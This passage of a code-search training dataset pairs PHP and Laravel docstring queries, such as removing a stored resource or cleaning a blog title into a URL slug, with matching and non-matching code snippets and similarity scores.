$request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy(Request $request,modelePreparation $modelePreparation) { $modelePreparation->delete(); $request->session()->flash('msg', "vous avez supprimer le modele de preparation d'id: $modelePreparation->id"); return redirect()->route('modelePreparation.index'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
get rid of spaces and special characters from the blog title to make it cleaner url
function iu_cleaner_url($title){ $blogtitle = trim(strtolower($title)); //remove spaces before and after and lowercase $blogtitle = iconv('UTF-8', 'ASCII//TRANSLIT', $blogtitle); // replaces weird characters with normal/readable counterparts ie: à to a $blogtitle = preg_replace('/[^A-Za-z0-9_\s]+/', '', $blogtitle); //get rid of non-url chars $blogtitle = preg_replace('/\s/', '-', $blogtitle); //replace spaces with a dash - $blogtitle = preg_replace('/-([-]+)?/', '-', $blogtitle); // replace dashes with more than two dashes side by side into only a single dash return $blogtitle; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function cleanup_title($title) {\n $x = sanitize_tags(bb2html($title));\n $x = trim($x);\n if (strlen($x)==0) return \"(no title)\";\n else return $x;\n}", "function slugify($title) {\n $title = strip_tags($title);\n // Preserve escaped octets.\n $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);\n // Remove percent signs that are not part of an octet.\n $title = str_replace('%', '', $title);\n // Restore octets.\n $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);\n $title = remove_accents($title);\n if (seems_utf8($title)) {\n if (function_exists('mb_strtolower')) {\n $title = mb_strtolower($title, 'UTF-8');\n }\n $title = utf8_uri_encode($title, 200);\n }\n $title = strtolower($title);\n $title = preg_replace('/&.+?;/', '', $title); // kill entities\n $title = preg_replace('/[^%a-z0-9 _-]/', '', $title);\n $title = preg_replace('/\\s+/', '-', $title);\n $title = preg_replace('|-+|', '-', $title);\n $title = trim($title, '-');\n return $title;\n}", "function sanitize_title($title) {\r\n\t$title = strip_tags($title);\r\n\t// Preserve escaped octets.\r\n\t$title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);\r\n\t// Remove percent signs that are not part of an octet.\r\n\t$title = str_replace('%', '', $title);\r\n\t// Restore octets.\r\n\t$title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);\r\n\r\n\t$title = remove_accents($title);\r\n\tif (seems_utf8($title)) {\r\n\t\tif (function_exists('mb_strtolower')) {\r\n\t\t\t$title = mb_strtolower($title, 'UTF-8');\r\n\t\t}\r\n\t\t$title = utf8_uri_encode($title);\r\n\t}\r\n\r\n\t$title = strtolower($title);\r\n\t$title = preg_replace('/&.+?;/', '', $title); // kill entities\r\n\t$title = preg_replace('/[^%a-z0-9 _-]/', '', $title);\r\n\t$title = preg_replace('/\\s+/', '-', $title);\r\n\t$title = preg_replace('|-+|', '-', $title);\r\n\t$title = trim($title, '-');\r\n\r\n\treturn $title;\r\n}", "function cleanTitle($title) {\n\treturn ucwords( str_replace( array(\"-\", \"_\"), \" \", $title) );\n}", "function url_title($str, $separator = 'dash')\n\n {\n\n if ($separator == 'dash')\n\n {\n\n $search = '_';\n\n $replace = '-';\n\n }\n\n else\n\n {\n\n $search = '-';\n\n $replace = '_';\n\n }\n\n \n\n $str = convert_accented_characters($str);\n\n \n\n $trans = array(\n\n $search => $replace,\n\n \"\\s+\" => $replace,\n\n \"[^a-z0-9\".$replace.\"]\" => '',\n\n $replace.\"+\" => $replace,\n\n $replace.\"$\" => '',\n\n \"^\".$replace => ''\n\n );\n\n \n\n $str = strip_tags(strtolower($str));\n\n \n\n foreach ($trans as $key => $val)\n\n {\n\n $str = preg_replace(\"#\".$key.\"#\", $val, $str);\n\n }\n\n \n\n return trim(stripslashes($str));\n\n }", "function wt_html_sanitize_title( $title ) {\n\treturn wp_kses( $title, wt_html_allowed() );\n}", "function sanitize_title_with_dashes($title)\n {\n $title = strip_tags($title);\n // Preserve escaped octets.\n $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);\n // Remove percent signs that are not part of an octet.\n $title = str_replace('%', '', $title);\n // Restore octets.\n $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);\n\n $title = $this->remove_accents($title);\n if ($this->seems_utf8($title)) {\n if (function_exists('mb_strtolower')) {\n $title = mb_strtolower($title, 'UTF-8');\n }\n $title = $this->utf8_uri_encode($title, 200);\n }\n\n $title = strtolower($title);\n $title = preg_replace('/&.+?;/', '', $title); // kill entities\n $title = str_replace('.', '-', $title);\n $title = preg_replace('/[^%a-z0-9 _-]/', '', $title);\n $title = preg_replace('/\\s+/', '-', $title);\n $title = preg_replace('|-+|', '-', $title);\n $title = trim($title, '-');\n\n return $title;\n }", "public function getCleanTitle()\n {\n return preg_replace('/\\s+/', ' ', $this->Title);\n }", "function clean_title($title)\r\n{\r\n\treturn ucwords( str_replace( array(\"-\", \"_\"), \" \", $title) );\r\n}", "function linkfy($title) {\n $title = strip_tags($title);\n // Preserve escaped octets.\n $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);\n // Remove percent signs that are not part of an octet.\n $title = str_replace('%', '', $title);\n // Restore octets.\n $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);\n $title = remove_accents($title);\n if (seems_utf8($title)) {\n $title = utf8_uri_encode($title, 200);\n }\n\n $title = preg_replace('/&.+?;/', '', $title); // kill entities*/\n $title = preg_replace('/\\s+/', '-', $title);\n $title = preg_replace('|-+|', '-', $title);\n $title = trim($title, '-');\n return mb_strtolower($title, 'utf-8');\n}", "function conure_filter_wp_title( $title ){\n\treturn $title . esc_attr( get_bloginfo( 'name' ) );\n}", "private function retrieve_title() {\n\t\t$replacement = null;\n\n\t\tif ( is_string( $this->args->post_title ) && $this->args->post_title !== '' ) {\n\t\t\t$replacement = stripslashes( $this->args->post_title );\n\t\t}\n\n\t\treturn $replacement;\n\t}", "public function getTitle()\n {\n return str_replace([' ', '?', '/', '\\\\', '&'], '_', $this->info['title']);\n }", "public function filters_the_title($title){\n\t\n\t$title = $this->formatting->wptexturize($title);\n\t$title = $this->formatting->convert_chars($title);\n\t\n\treturn trim($title);\n }", "function thinkup_input_blogtitle() {\n\n\techo\t'<h2 class=\"blog-title\">',\n\t\t\t'<a href=\"' . esc_url( get_permalink() ) . '\" title=\"' . esc_attr( sprintf( __( 'Permalink to %s', 'ESTSB' ), the_title_attribute( 'echo=0' ) ) ) . '\">' . get_the_title() . '</a>',\n\t\t\t'</h2>';\n}", "function sanitize_title_for_query($title)\n {\n }", "function refine_title($string) {\n\n\t\t// replace underscores with spaces\n\t\t$string = preg_replace(\"(_)\", \" \", $string);\n\n\t\t// replace '%20' with space\n\t\t$string = preg_replace(\"(%20)\", \" \", $string);\n\n\t\t// replace multiple spaces with single space\n\t\t$string = preg_replace(\"([ ]{2,})\", \" \", $string);\n\n\t\treturn trim(ucwords(strtolower($string)));\n\t}", "public function linkTitle($link){\n $link = str_replace(\" \", \"-\", $link);\n return $link;\n }", "public function normalizePageTitle( $title ) {\n\t\treturn str_replace( array( ' ', \"\\t\", \"\\n\" ), array( '_', '_', '_' ), $title );\n\t}", "protected function cleanouttitleordesc($title) {\n\t\t$title = str_replace('&nbsp;', 'ZrGrM', $title);\n\t\t$search = array('@<script[^>]*?>.*?</script>@si', // Strip out javascript\n\t\t\t\t'@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n\t\t\t\t'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n\t\t\t\t'@<![\\s\\S]*?--[ \\t\\n\\r]*>@', // Strip multi-line comments including CDATA\n\t\t);\n\t\t$titleclean = ' ' . preg_replace($search, '', $title);\n\t\t$searcharr = array();\n\t\t$searcharr = explode('http', $titleclean);\n\t\t$textdedoublespaced = '';\n\t\tif (count($searcharr) > 1) {\n\t\t\t$countstrsrcharr = count($searcharr);\n\t\t\tfor ($d=0; $d<$countstrsrcharr; $d=$d+2) {\n\t\t\t\t$textdedoublespaced .= $searcharr[$d];\n\t\t\t\t$searcharr2 = explode(' ', $searcharr[$d+1]);\n\t\t\t\tunset($searcharr2[0]);\n\t\t\t\t$textdedoublespaced .= ' ' . implode(' ', $searcharr2);\n\n\t\t\t}\n\n\t\t} else {\n\t\t\t$textdedoublespaced = trim($titleclean);\n\t\t}\n\n\t\t$title = $textdedoublespaced;\n\t\t$cleanspacearr= explode(' ', $title);\n\t\t$textdedoublespaced= '';\n\t\tif (count($cleanspacearr)>1) {\n\t\t\t$countcleanspacearr=count($cleanspacearr);\n\t\t\tfor ($d=0; $d<$countcleanspacearr; $d++) {\n\t\t\t\tif (trim($cleanspacearr[$d]) != '') {\n\t\t\t\t\t$textdedoublespaced .= trim($cleanspacearr[$d]) . ' ';\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t} else {\n\t\t\t$textdedoublespaced = $title;\n\t\t}\n\n\t\t$title = trim($textdedoublespaced);\n\t\tif ($title!=''){\n\t\t\t$titlearr = array();\n\t\t\t$titlearr = explode(' ', $title);\n\t\t\tif (count($titlearr) > 1) {\n\t\t\t\t$counttitlearr = count($titlearr);\n\t\t\t\tfor ($i=0; $i<$counttitlearr; $i++) {\n\t\t\t\t\t$titlearr2 = array();\n\t\t\t\t\t$titlearr2 = explode('-', $titlearr[$i]);\n\t\t\t\t\tif (count($titlearr2) > 1) {\n\t\t\t\t\t\t$counttitlearr2 = count($titlearr2);\n\t\t\t\t\t\tfor ($ti=0; $ti<$counttitlearr2; $ti++) {\n\t\t\t\t\t\t\t$titlearr2[$ti]=$this->checkandcorrUTF8 ($titlearr2[$ti]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$titlearr[$i]=implode ('-', $titlearr2);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$titlearr[$i]=$this->checkandcorrUTF8($titlearr[$i]);\n \t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\t$title=implode(' ', $titlearr);\n\t\t\t} else {\n\t\t\t\t$title=$this->checkandcorrUTF8($title);\n\t\t\t}\n\n\t\t}\n\t\t$title = str_replace('ZrGrM', '&nbsp;', $title);\n\t\treturn $title;\n\t}", "function decode_wp_title( $title, $sep ) {\n\t\tif ( is_feed() ) {\n\t\t\treturn $title;\n\t\t}\n\t\tglobal $page, $paged;\n\t\t// Add the blog name\n\t\t$title .= get_bloginfo( 'name', 'display' );\n\t\t// Add the blog description for the home/front page.\n\t\t$site_description = get_bloginfo( 'description', 'display' );\n\t\tif ( $site_description && ( is_home() || is_front_page() ) ) {\n\t\t\t$title .= \" $sep $site_description\";\n\t\t}\n\t\t// Add a page number if necessary:\n\t\tif ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {\n\t\t\t$title .= \" $sep \" . sprintf( __( 'Page %s', 'decode' ), max( $paged, $page ) );\n\t\t}\n\t\treturn $title;\n\t}", "function title($title){\n\t$title = ucwords(str_replace(\"-\",\" \",$title));\n\treturn $title;\n}", "private function parseTitleUrl() {\n $posId = strpos($this->title, '-') + 1;\n $this->title = substr($this->title, $posId, strlen($this->title) - $posId);\n $this->title = $this->smoothenTitle($this->title);\n\n $sql = \"SELECT\n id,\n title\n FROM\n articles\";\n if(!$stmt = $this->db->prepare($sql)){return $this->db->error;}\n if(!$stmt->execute()) {return $result->error;}\n $stmt->bind_result($id, $title);\n while($stmt->fetch()) {\n if($this->title == $this->smoothenTitle($title)) {\n $this->articleId = $id;\n break;\n }\n }\n $stmt->close();\n if($this->articleId !== -1) {\n $this->parsedUrl = '/'.$this->articleId.'/'.$this->cat.'/'.$this->title;\n }\n }", "function prepareTitle($test_string) {\n $test_string = str_replace(\" \", \"-\", $test_string);\n // strip html tags\n $test_string = strip_tags($test_string);\n // url encode\n $test_string = 